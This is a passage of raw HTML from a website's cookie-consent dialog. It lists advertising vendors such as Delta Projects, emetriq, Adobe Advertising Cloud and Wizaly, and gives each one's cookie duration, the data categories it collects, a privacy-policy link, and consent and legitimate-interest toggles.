consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Magnite CTV, Inc." aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="202" id="fc-preference-slider-gvl-vendor-202" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Delta Projects AB</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="209" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Delta Projects AB, View details" tabindex="0" data-vendor-id="209" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="209" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Delta Projects AB, Privacy policy" tabindex="0" data-policy-link="https://deltaprojects.com/data-collection-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Delta Projects AB" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="209"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-209"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Delta Projects AB" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="209" id="fc-preference-slider-gvl-vendor-209" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>usemax advertisement (Emego GmbH)</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Users’ profiles</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="212" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="usemax advertisement (Emego GmbH), View details" tabindex="0" data-vendor-id="212" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="212" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="usemax advertisement (Emego GmbH), Privacy policy" tabindex="0" data-policy-link="https://www.usemax.de/?l=privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, usemax advertisement (Emego GmbH)" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="212"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>emetriq GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="213" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="emetriq GmbH, View details" tabindex="0" data-vendor-id="213" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="213" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="emetriq GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.emetriq.com/datenschutz/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, emetriq GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="213"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Publicis Media GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 1825 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="226" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Publicis Media GmbH, View details" tabindex="0" data-vendor-id="226" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Publicis Media GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.publicismedia.de/datenschutz/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Publicis Media GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="226"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>M.D. Primis Technologies Ltd.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 25 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="228" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="M.D. Primis Technologies Ltd., View details" tabindex="0" data-vendor-id="228" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="228" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="M.D. Primis Technologies Ltd., Privacy policy" tabindex="0" data-policy-link="https://www.primis.tech/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, M.D. Primis Technologies Ltd." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="228"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-228"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, M.D. Primis Technologies Ltd." aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="228" id="fc-preference-slider-gvl-vendor-228" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>OneTag Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 396 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="241" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="OneTag Limited, View details" tabindex="0" data-vendor-id="241" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="241" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="OneTag Limited, Privacy policy" tabindex="0" data-policy-link="https://www.onetag.com/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, OneTag Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="241"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Cloud Technologies S.A.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="243" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Cloud Technologies S.A., View details" tabindex="0" data-vendor-id="243" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Cloud Technologies S.A., Privacy policy" tabindex="0" data-policy-link="https://www.cloudtechnologies.pl/en/internet-advertising-privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Cloud Technologies S.A." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="243"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Smartology Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="246" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Smartology Limited, View details" tabindex="0" data-vendor-id="246" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Smartology Limited, Privacy policy" tabindex="0" data-policy-link="https://www.smartology.net/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Smartology Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="246"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-246"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Smartology Limited" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="246" id="fc-preference-slider-gvl-vendor-246" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Improve Digital</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="253" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Improve Digital, View details" tabindex="0" data-vendor-id="253" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="253" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Improve Digital, Privacy policy" tabindex="0" data-policy-link="https://www.improvedigital.com/platform-privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Improve Digital" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="253"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-253"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Improve Digital" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="253" id="fc-preference-slider-gvl-vendor-253" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Adobe Advertising Cloud</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device identifiers, Authentication-derived identifiers, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="264" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Adobe Advertising Cloud, View details" tabindex="0" data-vendor-id="264" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="264" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Adobe Advertising Cloud, Privacy policy" tabindex="0" data-policy-link="https://www.adobe.com/privacy/experience-cloud.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Adobe Advertising Cloud" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="264"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-264"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Adobe Advertising Cloud" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="264" id="fc-preference-slider-gvl-vendor-264" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Bannerflow AB</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 366 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="273" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Bannerflow AB, View details" tabindex="0" data-vendor-id="273" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Bannerflow AB, Privacy policy" tabindex="0" data-policy-link="https://www.bannerflow.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Bannerflow AB" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="273"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>TabMo SAS</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="275" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="TabMo SAS, View details" tabindex="0" data-vendor-id="275" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="TabMo SAS, Privacy policy" tabindex="0" data-policy-link="https://hawk-tech.io/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, TabMo SAS" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="275"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Integral Ad Science (incorporating ADmantX)</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Browsing and interaction data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="278" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Integral Ad Science (incorporating ADmantX), View details" tabindex="0" data-vendor-id="278" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Integral Ad Science (incorporating ADmantX), Privacy policy" tabindex="0" data-policy-link="https://integralads.com/ias-privacy-data-management/policies/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-278"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Integral Ad Science (incorporating ADmantX)" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="278" id="fc-preference-slider-gvl-vendor-278" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Wizaly</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Privacy choices</p><a 